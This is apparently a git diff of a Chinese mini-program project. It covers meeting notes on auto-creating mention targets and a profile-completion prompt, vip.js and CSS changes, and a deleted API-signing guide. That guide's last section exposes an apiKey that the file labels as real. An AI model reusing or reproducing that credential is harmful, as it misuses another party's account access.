对“默认资料判定”的讨论:前端硬编码规则不稳,后端输出明确 flags 最稳;前端保留兜底。 + +--- + +## 会议决议 + +1. **自动创建 @人(Person)触发点**:在“超级个体开通成功”的后端落库闭环触发 `ensurePersonForUser(userId)`;幂等保证不重复创建。 +2. **Person 与用户绑定**:优先方案为 `persons` 增加 `user_id` 字段(并加唯一约束/索引),以 `user_id` 为幂等键;`name` 作为展示名,与用户昵称保持同步策略。 +3. **小程序资料引导**:复用 `pages/avatar-nickname`,在“支付前入口”与“开通后进入权益页/成功回调”两处增加默认资料校验与跳转。 +4. **默认资料判定口径**:后端优先提供明确 flags(如 `profileNeedComplete` / `isDefaultNickname` / `isDefaultAvatar`),小程序仅消费;前端可保留兜底规则。 + +--- + +## 待办事项 + +| 责任角色 | 任务 | 优先级 | 截止建议 | +|---------|------|--------|---------| +| 后端开发 | 在超级个体开通成功链路增加 `ensurePersonForUser`;为 `persons` 增加 `user_id` 并做幂等;必要时补“昵称变更同步” | 高 | 2026-03-20 | +| 管理端开发工程师 | 链接人与事列表可选增加 `userId/来源` 展示与筛选;确认插入 mention 时 `data-label` 始终为昵称 | 中 | 2026-03-21 | +| 小程序开发工程师 | 支付前与开通后两处增加资料默认校验;不通过则跳转 `avatar-nickname` 引导页并阻断后续动作 | 高 | 2026-03-20 | +| 产品经理 | 明确“昵称变更后的同步规则/是否允许重名冲突显示”;补充验收标准文案 | 中 | 2026-03-19 | +| 测试人员 | 补充用例:资料引导阻断支付 + 幂等创建 Person + 昵称变更同步回归 | 中 | 联调前 | + +--- + +## 问题与作答区 + +| # | 问题 | 责任角色 | 作答 | +|---|------|---------|------| +| 1 | `persons.user_id` 是否需要唯一索引?重名用户在列表展示如何区分? | 后端/产品 | (待补充) | +| 2 | 昵称变更是否必须同步更新 Person.name?若同步,是否保留历史别名? | 产品/后端 | (待补充) | +| 3 | 默认头像/昵称判定的最终口径(后端 flags vs 前端兜底规则)以哪一套为准? | 后端/小程序 | (待补充) | + +--- + +## 各角色经验与业务理解更新 + +### 产品经理 + +- 超级个体开通后要立刻具备“可被内容 @”入口;支付前资料完善是转化关键拦截点(头像/昵称)。 + +### 后端开发 + +- 自动创建 Person 必须做幂等,建议以 `user_id` 绑定,避免仅靠昵称造成重名/改名混乱;默认资料判定尽量由后端输出 flags,前端只消费。 + +### 管理端开发工程师 + +- Person 体系可承载自动创建记录;mention 显示依赖 `data-label`,需确保展示名与数据一致。 + +### 小程序开发工程师 + +- 复用 `avatar-nickname` 引导页,在支付前/开通后两处做资料校验与跳转;后端 flags 优先,前端规则兜底。 + +### 测试人员 + +- 新增强约束:资料未完善必须阻断支付;自动创建 Person 要验幂等与昵称变更同步。 + +### 团队共享 + +- “可被 @ 的人”统一走 Person 体系;幂等键优先绑定业务主键(userId),展示名同步为昵称;默认资料判定由后端输出布尔 flags 更稳定。 + +--- + +*会议纪要由助理橙子生成 | 各角色经验已同步至 `agent/{角色}/evolution/2026-03-18.md`* + diff --git a/.cursor/meeting/README.md b/.cursor/meeting/README.md index 7eabb347..e62e85d5 100644 --- a/.cursor/meeting/README.md +++ b/.cursor/meeting/README.md @@ -79,3 +79,4 @@ YYYY-MM-DD_会议主题.md | 2026-03-17 | 稳定版源码质量优化方案讨论与开发安排 | 产品、后端、管理端、小程序、测试 | [2026-03-17_稳定版源码质量优化方案讨论与开发安排.md](2026-03-17_稳定版源码质量优化方案讨论与开发安排.md) | | 2026-03-17 | 会议收尾:源码优化完成与测试流程定稿 | 产品、后端、管理端、小程序、测试、助理橙子 | [2026-03-17_会议收尾-源码优化完成与测试流程定稿.md](2026-03-17_会议收尾-源码优化完成与测试流程定稿.md) | | 2026-03-17 | 性能优化与 Redis 缓存方案落地 | 后端、管理端、小程序、测试、助理橙子 | [2026-03-17_性能优化与Redis缓存方案落地.md](2026-03-17_性能优化与Redis缓存方案落地.md) | +| 2026-03-18 | 超级个体开通后自动创建@人与资料引导 | 产品、后端、管理端、小程序、测试 | [2026-03-18_超级个体开通后自动创建@人与资料引导.md](2026-03-18_超级个体开通后自动创建@人与资料引导.md) | diff --git a/ee.txt b/ee.txt deleted file mode 100644 index e69de29b..00000000 diff --git a/miniprogram/app.js b/miniprogram/app.js index 3d8c47ba..489850bc 100644 --- a/miniprogram/app.js +++ b/miniprogram/app.js @@ -13,8 +13,8 @@ const DEFAULT_WITHDRAW_TMPL_ID = 'u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE' App({ globalData: { // API 基础地址:开发时修改下面一行切换环境 - baseUrl: "https://soulapi.quwanzhi.com", - // baseUrl: 'http://localhost:8080', // 开发 + // baseUrl: "https://soulapi.quwanzhi.com", + baseUrl: 'http://localhost:8080', // 开发 // baseUrl: 'https://souldev.quwanzhi.com', // 测试 // 小程序配置 - 真实AppID appId: DEFAULT_APP_ID, diff --git a/miniprogram/pages/gift-pay/detail.wxml b/miniprogram/pages/gift-pay/detail.wxml index 2c1239b3..0f04bcb0 100644 --- a/miniprogram/pages/gift-pay/detail.wxml +++ b/miniprogram/pages/gift-pay/detail.wxml @@ -124,6 +124,10 @@ 发送给好友 + + + 已退款 + + 取消 + + + + 支付成功,点击下方按钮直接分享给好友。好友打开阅读页将自动领取并解锁。 + + + + + diff --git a/miniprogram/pages/read/read.wxss b/miniprogram/pages/read/read.wxss index f790c17b..0e44f235 100644 --- a/miniprogram/pages/read/read.wxss +++ b/miniprogram/pages/read/read.wxss @@ -600,6 +600,10 @@ z-index: 1000; } +.modal-overlay-center { + align-items: center; +} + .modal-content { width: 100%; max-width: 750rpx; @@ -610,11 +614,25 @@ animation: slideUp 0.3s ease; } +.modal-content-center { + width: 640rpx; + max-width: calc(100vw - 80rpx); + border-radius: 32rpx; + padding: 40rpx; + padding-bottom: 40rpx; + animation: popIn 0.18s ease-out; +} + @keyframes slideUp { from { transform: translateY(100%); } to { transform: translateY(0); } } +@keyframes popIn { + from { transform: scale(0.94); opacity: 0.6; } + to { transform: scale(1); opacity: 1; } +} + .modal-header { display: flex; align-items: center; @@ -706,6 +724,117 @@ font-weight: 600; } +/* 阅读页内代付弹窗(v2:档位按钮 + 价格计算 + 支付后分享) */ +.gift-modal-v2 { + padding: 40rpx; +} +.gift-article-card { + padding: 28rpx; + background: rgba(255, 255, 255, 0.06); + border: 1rpx solid rgba(255, 255, 255, 0.08); + border-radius: 24rpx; + margin-bottom: 32rpx; +} +.gift-article-title { + font-size: 32rpx; + font-weight: 700; + color: #fff; + display: block; + line-height: 1.3; + margin-bottom: 10rpx; +} +.gift-article-desc { + font-size: 24rpx; + color: rgba(255, 255, 255, 0.55); + display: block; + line-height: 1.5; +} +.gift-spots-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 18rpx; + margin-bottom: 28rpx; +} +.gift-spot-btn { + text-align: center; + padding: 22rpx 0; + border-radius: 20rpx; + background: rgba(255, 255, 255, 0.06); + border: 1rpx solid rgba(255, 255, 255, 0.1); + color: rgba(255, 255, 255, 0.85); + font-weight: 600; + font-size: 28rpx; +} +.gift-spot-active { + border-color: rgba(0, 206, 209, 0.9); + color: #00CED1; + background: rgba(0, 206, 209, 0.12); +} +.gift-price-box { + padding: 26rpx; + border-radius: 24rpx; + background: rgba(0, 0, 0, 0.25); + border: 1rpx solid rgba(255, 255, 255, 0.08); + margin-bottom: 28rpx; + text-align: center; +} +.gift-price-label { + font-size: 22rpx; + color: rgba(255, 255, 255, 0.5); + display: block; + margin-bottom: 10rpx; +} +.gift-price-row { + display: flex; + align-items: baseline; + justify-content: center; + gap: 14rpx; +} +.gift-price-formula { + font-size: 24rpx; + color: rgba(0, 206, 209, 0.8); +} +.gift-price-total { + font-size: 44rpx; + font-weight: 800; + color: #00CED1; +} +.gift-pay-btn { + width: 100%; + border-radius: 999rpx; + background: #00CED1; + color: #000; + font-weight: 800; + font-size: 32rpx; + padding: 26rpx 0; +} +.gift-cancel-text { + text-align: center; + margin-top: 18rpx; + font-size: 26rpx; + color: rgba(255, 255, 255, 0.45); +} +.gift-paid-wrap { + padding-top: 8rpx; +} +.gift-paid-tip { + display: block; + font-size: 26rpx; + color: rgba(255, 255, 255, 0.7); + line-height: 1.6; + margin-bottom: 24rpx; +} +.gift-share-btn { + width: 100%; + border-radius: 999rpx; + background: rgba(0, 206, 209, 0.12); + border: 1rpx solid rgba(0, 206, 209, 0.45); + color: #00CED1; + font-weight: 800; + font-size: 32rpx; + padding: 26rpx 0; +} + .share-modal-desc { font-size: 28rpx; color: rgba(255, 255, 255, 0.6); diff --git a/miniprogram/pages/vip/vip.js b/miniprogram/pages/vip/vip.js index 162390e1..0a44a225 100644 --- a/miniprogram/pages/vip/vip.js +++ b/miniprogram/pages/vip/vip.js @@ -85,6 +85,20 @@ Page({ return } } + // 支付前:若头像/昵称仍为默认值,引导先完善(仅头像+昵称) + if (this._shouldGuideAvatarNickname()) { + wx.showModal({ + title: '完善资料', + content: '开通超级个体前,请先设置头像和昵称,让他人更好地认识你', + confirmText: '去完善', + cancelText: '稍后', + success: (res) => { + if (res.confirm) wx.navigateTo({ url: '/pages/avatar-nickname/avatar-nickname' }) + } + }) + return + } + this.setData({ purchasing: true }) const amount = this.data.price try { @@ -158,12 +172,26 @@ Page({ if (typeof p.initUserStatus === 'function') p.initUserStatus() else if (typeof p.updateUserStatus === 'function') p.updateUserStatus() }) + + // 开通成功后兜底:仍为默认头像/昵称则引导完善 + if (this._shouldGuideAvatarNickname()) { + wx.navigateTo({ url: '/pages/avatar-nickname/avatar-nickname' }) + } } catch (e) { console.error('[VIP] 支付后同步失败:', e) } wx.hideLoading() }, + _shouldGuideAvatarNickname() { + const user = app.globalData.userInfo || {} + const avatar = (user.avatar || user.avatarUrl || '').trim() + const nickname = (user.nickname || user.nickName || '').trim() + // 与 ruleEngine.checkRule_FillAvatar 保持同口径(允许前端兜底) + if (avatar && !avatar.includes('default') && nickname && nickname !== '微信用户' && !nickname.startsWith('微信用户')) return false + return true + }, + goBack() { getApp().goBackOrToHome() }, onShareAppMessage() { diff --git a/open-api-sign.md b/open-api-sign.md deleted file mode 100644 index 8d113d41..00000000 --- a/open-api-sign.md +++ /dev/null @@ -1,238 +0,0 @@ -# 存客宝开放 API — 鉴权规范(V1) - -> 适用接口:`/v1/open/*` - ---- - -## 〇、存客宝 API 区分说明 - -存客宝存在**两套 API**,互不通用: - -| 类型 | 路径 | 鉴权方式 | 使用场景 | -|------|------|----------|----------| -| **内部 API** | `/v1/api/scenarios` | apiKey + timestamp + sign(query 传参),**无需 JWT** | 小程序首页「链接卡若」、文章 @ 人物留资等 | -| **开放 API** | `/v1/open/*` | 先 `POST /v1/open/auth/token` 获取 JWT,再 `Authorization: Bearer ` | 本文档规范,需签名与加密 | - -当前 Soul 项目「链接卡若」使用的是**内部 API**,与本文档的开放 API 不同。 - ---- - -## 一、整体流程 - -``` -第一步 POST /v1/open/auth/token - 携带:apiKey + account + timestamp + sign - 服务端验签后返回 JWT Token(有效期 2 小时) - │ - ▼ -第二步 POST /v1/open/scenarios (或其他业务接口) - Header: Authorization: Bearer - 无需再传 apiKey / sign,与存客宝内部接口完全兼容 -``` - ---- - -## 二、API Key 说明 - -| 属性 | 描述 | -|--------------|----------------------------------------------------------------| -| **颁发对象** | 每个存客宝账号(`ck_users`)一把专属 API Key | -| **格式** | `5 组 × 5 位`,大小写字母 + 数字,组间以 `-` 分隔 | -| **示例** | `aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3` | -| **获取方式** | 门店端 → 用户中心 → 对外接口 → 查看/生成 API Key | -| **有效期** | 永久有效,可随时点击"重新生成"覆盖旧 Key(旧 Key 立即失效) | - ---- - -## 三、第一步:获取 JWT Token - -### 接口 - -``` -POST /v1/open/auth/token -Content-Type: application/json -``` - -### 请求参数 - -| 字段 | 类型 | 必填 | 说明 | -|-------------|--------|------|---------------------------------------------------| -| `apiKey` | string | 是 | 账号专属 API Key | -| `account` | string | 是 | 登录账号(`ck_users.account`) | -| `timestamp` | int | 是 | 当前秒级 Unix 时间戳(与服务器时差不超过 5 分钟)| -| `sign` | string | 是 | 签名值,生成方式见下方 | - -### 签名算法 - -只有三个固定字段参与签名,业务参数不参与: - -``` -stringToSign = account值 + timestamp值 ← 字段名 ASCII 升序,直接拼接值 -firstMd5 = MD5(stringToSign) -sign = MD5(firstMd5 + apiKey) -``` - -> `account` < `timestamp`(ASCII 升序),所以拼接顺序固定为:`account值 + timestamp值` - -### 成功响应 - -```json -{ - "code": 200, - "message": "success", - "data": { - "token": "eyJ...", - "expires_in": 7200 - } -} -``` - -### 常见错误 - -| code | message | 原因 | -|------|-----------------|----------------------------------------| -| 400 | apiKey不能为空 | 未传 `apiKey` | -| 400 | account不能为空 | 未传 `account` | -| 400 | sign不能为空 | 未传 `sign` | -| 400 | timestamp不能为空 | 未传 `timestamp` | -| 400 | 请求已过期 | `timestamp` 与服务器时差超 5 分钟 | -| 401 | 无效的apiKey | Key 不存在、账号不匹配或账号已禁用 | -| 401 | 签名验证失败 | account / timestamp / apiKey 值有误 | - ---- - -## 四、第二步:调用业务接口 - -拿到 Token 后,所有 `/v1/open/*` 接口在 HTTP Header 中携带: - -``` -Authorization: Bearer -``` - -不再需要 `apiKey`、`sign`、`timestamp` 参数。 - -Token 过期(2 小时)后重新请求 `/v1/open/auth/token` 换新 Token。 - ---- - -## 五、示例代码 - -### PHP - -```php -$apiKey = 'aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3'; -$account = 'user001'; -$timestamp = (string)time(); - -// 生成签名 -$stringToSign = $account . $timestamp; // account < timestamp(ASCII) -$firstMd5 = md5($stringToSign); -$sign = md5($firstMd5 . $apiKey); - -// 获取 Token -$response = file_get_contents('https://ckbapi.quwanzhi.com/v1/open/auth/token', false, - stream_context_create(['http' => [ - 'method' => 'POST', - 'header' => 'Content-Type: application/json', - 'content' => json_encode(compact('apiKey', 'account', 'timestamp', 'sign')), - ]]) -); -$token = json_decode($response, true)['data']['token']; - -// 调用业务接口 -$response2 = file_get_contents('https://ckbapi.quwanzhi.com/v1/open/scenarios', false, - stream_context_create(['http' => [ - 'method' => 'POST', - 'header' => "Authorization: Bearer {$token}\r\nContent-Type: application/json", - 'content' => json_encode([ - 'planId' => 42, - 'phone' => '13800000000', - 'name' => '张三', - 'source' => '百度推广', - ]), - ]]) -); -``` - -### JavaScript / Node.js - -```javascript -const crypto = require('crypto'); - -const apiKey = 'aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3'; -const account = 'user001'; -const timestamp = String(Math.floor(Date.now() / 1000)); - -// 签名 -const firstMd5 = crypto.createHash('md5').update(account + timestamp, 'utf8').digest('hex'); -const sign = crypto.createHash('md5').update(firstMd5 + apiKey, 'utf8').digest('hex'); - -// 获取 Token -const res = await fetch('https://ckbapi.quwanzhi.com/v1/open/auth/token', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ apiKey, account, timestamp, sign }), -}); -const { token } = (await res.json()).data; - -// 调用业务接口 -const res2 = await fetch('https://ckbapi.quwanzhi.com/v1/open/scenarios', { - method: 'POST', - headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}` }, - body: JSON.stringify({ planId: 42, phone: '13800000000', name: '张三' }), -}); -``` - -### Python - -```python -import hashlib, time, requests - -api_key = 'aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3' -account = 'user001' -timestamp = str(int(time.time())) - -# 签名 -first_md5 = hashlib.md5((account + timestamp).encode()).hexdigest() -sign = hashlib.md5((first_md5 + api_key).encode()).hexdigest() - -# 获取 Token -r = requests.post('https://ckbapi.quwanzhi.com/v1/open/auth/token', - json={'apiKey': api_key, 'account': account, - 'timestamp': timestamp, 'sign': sign}) -token = r.json()['data']['token'] - -# 调用业务接口 -r2 = requests.post('https://ckbapi.quwanzhi.com/v1/open/scenarios', - headers={'Authorization': f'Bearer {token}'}, - json={'planId': 42, 'phone': '13800000000', 'name': '张三'}) -``` - ---- - -## 六、签名自测用例 - -| 字段 | 值 | -|-----------|------------------------------------| -| apiKey | `TestKey-12345-ABCDE-67890-xYzWv` | -| account | `user001` | -| timestamp | `1710000000` | - -计算过程: - -``` -stringToSign = "user001" + "1710000000" = "user0011710000000" -firstMd5 = MD5("user0011710000000") -sign = MD5(firstMd5 + "TestKey-12345-ABCDE-67890-xYzWv") -``` - ---- - -## 七、项目配置(当前密钥) - -> ⚠️ **安全提醒**:本文件含真实密钥,请勿推送到公共仓库。建议将 `open-api-sign.md` 加入 `.gitignore`,或改用环境变量 `CKB_API_KEY` 存储。 - -| 字段 | 值 | -|--------|--------------------------------------| -| apiKey | `mI9Ol-NO6cS-ho3Py-7Pj22-WyK3A` | -| account| 需与存客宝账号(`ck_users.account`)对应 | diff --git a/soul-admin/dist/assets/index-o3d5k2lQ.css b/soul-admin/dist/assets/index-BgHLp2oy.css similarity index 80% rename from soul-admin/dist/assets/index-o3d5k2lQ.css rename to soul-admin/dist/assets/index-BgHLp2oy.css index 7cbeb38f..f26540b4 100644 --- a/soul-admin/dist/assets/index-o3d5k2lQ.css +++ b/soul-admin/dist/assets/index-BgHLp2oy.css @@ -1 +1 @@ -.rich-editor-wrapper{border:1px solid #374151;border-radius:.5rem;background:#0a1628;overflow:hidden}.rich-editor-toolbar{display:flex;align-items:center;gap:2px;padding:6px 8px;border-bottom:1px solid #374151;background:#0f1d32;flex-wrap:wrap}.toolbar-group{display:flex;align-items:center;gap:1px}.toolbar-divider{width:1px;height:20px;background:#374151;margin:0 4px}.rich-editor-toolbar button{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer;transition:all .15s}.rich-editor-toolbar button:hover{background:#1f2937;color:#d1d5db}.rich-editor-toolbar button.is-active{background:#38bdac33;color:#38bdac}.rich-editor-toolbar button:disabled{opacity:.3;cursor:not-allowed}.link-tag-select{background:#0a1628;border:1px solid #374151;color:#d1d5db;font-size:12px;padding:2px 6px;border-radius:4px;cursor:pointer;max-width:160px}.link-input-bar{display:flex;align-items:center;gap:4px;padding:4px 8px;border-bottom:1px solid #374151;background:#0f1d32}.link-input{flex:1;background:#0a1628;border:1px solid #374151;color:#fff;padding:4px 8px;border-radius:4px;font-size:13px}.link-confirm,.link-remove{padding:4px 10px;border-radius:4px;border:none;font-size:12px;cursor:pointer}.link-confirm{background:#38bdac;color:#fff}.link-remove{background:#374151;color:#9ca3af}.rich-editor-content{min-height:450px;max-height:720px;overflow-y:auto;padding:12px 16px;color:#e5e7eb;font-size:14px;line-height:1.7}.rich-editor-content:focus{outline:none}.rich-editor-content h1{font-size:1.5em;font-weight:700;margin:.8em 0 .4em;color:#fff}.rich-editor-content h2{font-size:1.3em;font-weight:600;margin:.7em 0 .3em;color:#fff}.rich-editor-content h3{font-size:1.15em;font-weight:600;margin:.6em 0 .3em;color:#fff}.rich-editor-content p{margin:.4em 0}.rich-editor-content strong{color:#fff}.rich-editor-content code{background:#1f2937;padding:2px 6px;border-radius:3px;font-size:.9em;color:#38bdac}.rich-editor-content pre{background:#1f2937;padding:12px;border-radius:6px;overflow-x:auto;margin:.6em 0}.rich-editor-content blockquote{border-left:3px solid #38bdac;padding-left:12px;margin:.6em 0;color:#9ca3af}.rich-editor-content ul,.rich-editor-content ol{padding-left:1.5em;margin:.4em 0}.rich-editor-content li{margin:.2em 0}.rich-editor-content hr{border:none;border-top:1px solid #374151;margin:1em 0}.rich-editor-content img{max-width:100%;border-radius:6px;margin:.5em 0}.rich-editor-content a,.rich-link{color:#38bdac;text-decoration:underline;cursor:pointer}.rich-editor-content table{border-collapse:collapse;width:100%;margin:.5em 0}.rich-editor-content th,.rich-editor-content td{border:1px solid #374151;padding:6px 10px;text-align:left}.rich-editor-content th{background:#1f2937;font-weight:600}.rich-editor-content .ProseMirror-placeholder:before{content:attr(data-placeholder);color:#6b7280;float:left;height:0;pointer-events:none}.mention-tag{background:#38bdac26;color:#38bdac;border-radius:4px;padding:1px 4px;font-weight:500}.link-tag-node{background:#ffd7001f;color:gold;border-radius:4px;padding:1px 4px;font-weight:500;cursor:default;-webkit-user-select:all;user-select:all}.mention-popup{position:fixed;z-index:9999;background:#1a2638;border:1px solid #374151;border-radius:8px;padding:4px;min-width:180px;max-height:240px;overflow-y:auto;box-shadow:0 4px 20px #0006}.mention-item{display:flex;align-items:center;justify-content:space-between;padding:6px 10px;border-radius:4px;cursor:pointer;color:#d1d5db;font-size:13px}.mention-item:hover,.mention-item.is-selected{background:#38bdac26;color:#38bdac}.mention-name{font-weight:500}.mention-id{font-size:11px;color:#6b7280}.bubble-menu{display:flex;gap:2px;background:#1a2638;border:1px solid #374151;border-radius:6px;padding:4px;box-shadow:0 4px 12px #0000004d}.bubble-menu button{display:flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer}.bubble-menu button:hover{background:#1f2937;color:#d1d5db}.bubble-menu button.is-active{color:#38bdac}/*! tailwindcss v4.1.18 | MIT License | https://tailwindcss.com */@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-scale-x:1;--tw-scale-y:1;--tw-scale-z:1;--tw-rotate-x:initial;--tw-rotate-y:initial;--tw-rotate-z:initial;--tw-skew-x:initial;--tw-skew-y:initial;--tw-pan-x:initial;--tw-pan-y:initial;--tw-pinch-zoom:initial;--tw-space-y-reverse:0;--tw-space-x-reverse:0;--tw-divide-x-reverse:0;--tw-border-style:solid;--tw-divide-y-reverse:0;--tw-gradient-position:initial;--tw-gradient-from:#0000;--tw-gradient-via:#0000;--tw-gradient-to:#0000;--tw-gradient-stops:initial;--tw-gradient-via-stops:initial;--tw-gradient-from-position:0%;--tw-gradient-via-position:50%;--tw-gradient-to-position:100%;--tw-leading:initial;--tw-font-weight:initial;--tw-tracking:initial;--tw-ordinal:initial;--tw-slashed-zero:initial;--tw-numeric-figure:initial;--tw-numeric-spacing:initial;--tw-numeric-fraction:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-backdrop-blur:initial;--tw-backdrop-brightness:initial;--tw-backdrop-contrast:initial;--tw-backdrop-grayscale:initial;--tw-backdrop-hue-rotate:initial;--tw-backdrop-invert:initial;--tw-backdrop-opacity:initial;--tw-backdrop-saturate:initial;--tw-backdrop-sepia:initial;--tw-duration:initial}}}@layer theme{:root,:host{--font-sans:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--font-mono:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--color-red-100:oklch(93.6% .032 17.717);--color-red-300:oklch(80.8% .114 19.571);--color-red-400:oklch(70.4% .191 22.216);--color-red-500:oklch(63.7% .237 25.331);--color-red-600:oklch(57.7% .245 27.325);--color-red-700:oklch(50.5% .213 27.518);--color-red-800:oklch(44.4% .177 26.899);--color-red-900:oklch(39.6% .141 25.723);--color-orange-300:oklch(83.7% .128 66.29);--color-orange-400:oklch(75% .183 55.934);--color-orange-500:oklch(70.5% .213 47.604);--color-orange-600:oklch(64.6% .222 41.116);--color-amber-200:oklch(92.4% .12 95.746);--color-amber-300:oklch(87.9% .169 91.605);--color-amber-400:oklch(82.8% .189 84.429);--color-amber-500:oklch(76.9% .188 70.08);--color-amber-600:oklch(66.6% .179 58.318);--color-yellow-400:oklch(85.2% .199 91.936);--color-yellow-500:oklch(79.5% .184 86.047);--color-green-300:oklch(87.1% .15 154.449);--color-green-400:oklch(79.2% .209 151.711);--color-green-500:oklch(72.3% .219 149.579);--color-green-600:oklch(62.7% .194 149.214);--color-green-700:oklch(52.7% .154 150.069);--color-emerald-400:oklch(76.5% .177 163.223);--color-emerald-500:oklch(69.6% .17 162.48);--color-cyan-400:oklch(78.9% .154 211.53);--color-cyan-500:oklch(71.5% .143 215.221);--color-sky-200:oklch(90.1% .058 230.902);--color-sky-300:oklch(82.8% .111 230.318);--color-blue-300:oklch(80.9% .105 251.813);--color-blue-400:oklch(70.7% .165 254.624);--color-blue-500:oklch(62.3% .214 259.815);--color-purple-400:oklch(71.4% .203 305.504);--color-purple-500:oklch(62.7% .265 303.9);--color-rose-400:oklch(71.2% .194 13.428);--color-gray-200:oklch(92.8% .006 264.531);--color-gray-300:oklch(87.2% .01 258.338);--color-gray-400:oklch(70.7% .022 261.325);--color-gray-500:oklch(55.1% .027 264.364);--color-gray-600:oklch(44.6% .03 256.802);--color-gray-700:oklch(37.3% .034 259.733);--color-gray-800:oklch(27.8% .033 256.848);--color-black:#000;--color-white:#fff;--spacing:.25rem;--container-xs:20rem;--container-sm:24rem;--container-md:28rem;--container-lg:32rem;--container-2xl:42rem;--container-3xl:48rem;--container-4xl:56rem;--text-xs:.75rem;--text-xs--line-height:calc(1/.75);--text-sm:.875rem;--text-sm--line-height:calc(1.25/.875);--text-base:1rem;--text-base--line-height: 1.5 ;--text-lg:1.125rem;--text-lg--line-height:calc(1.75/1.125);--text-xl:1.25rem;--text-xl--line-height:calc(1.75/1.25);--text-2xl:1.5rem;--text-2xl--line-height:calc(2/1.5);--text-3xl:1.875rem;--text-3xl--line-height: 1.2 ;--text-4xl:2.25rem;--text-4xl--line-height:calc(2.5/2.25);--font-weight-normal:400;--font-weight-medium:500;--font-weight-semibold:600;--font-weight-bold:700;--tracking-tight:-.025em;--tracking-wider:.05em;--leading-tight:1.25;--leading-relaxed:1.625;--radius-sm:.25rem;--radius-md:.375rem;--radius-lg:.5rem;--radius-xl:.75rem;--radius-2xl:1rem;--animate-spin:spin 1s linear infinite;--blur-xl:24px;--blur-3xl:64px;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4,0,.2,1);--default-font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--default-mono-font-family:var(--font-mono)}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;line-height:1.5;font-family:var(--default-font-family,ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring{outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 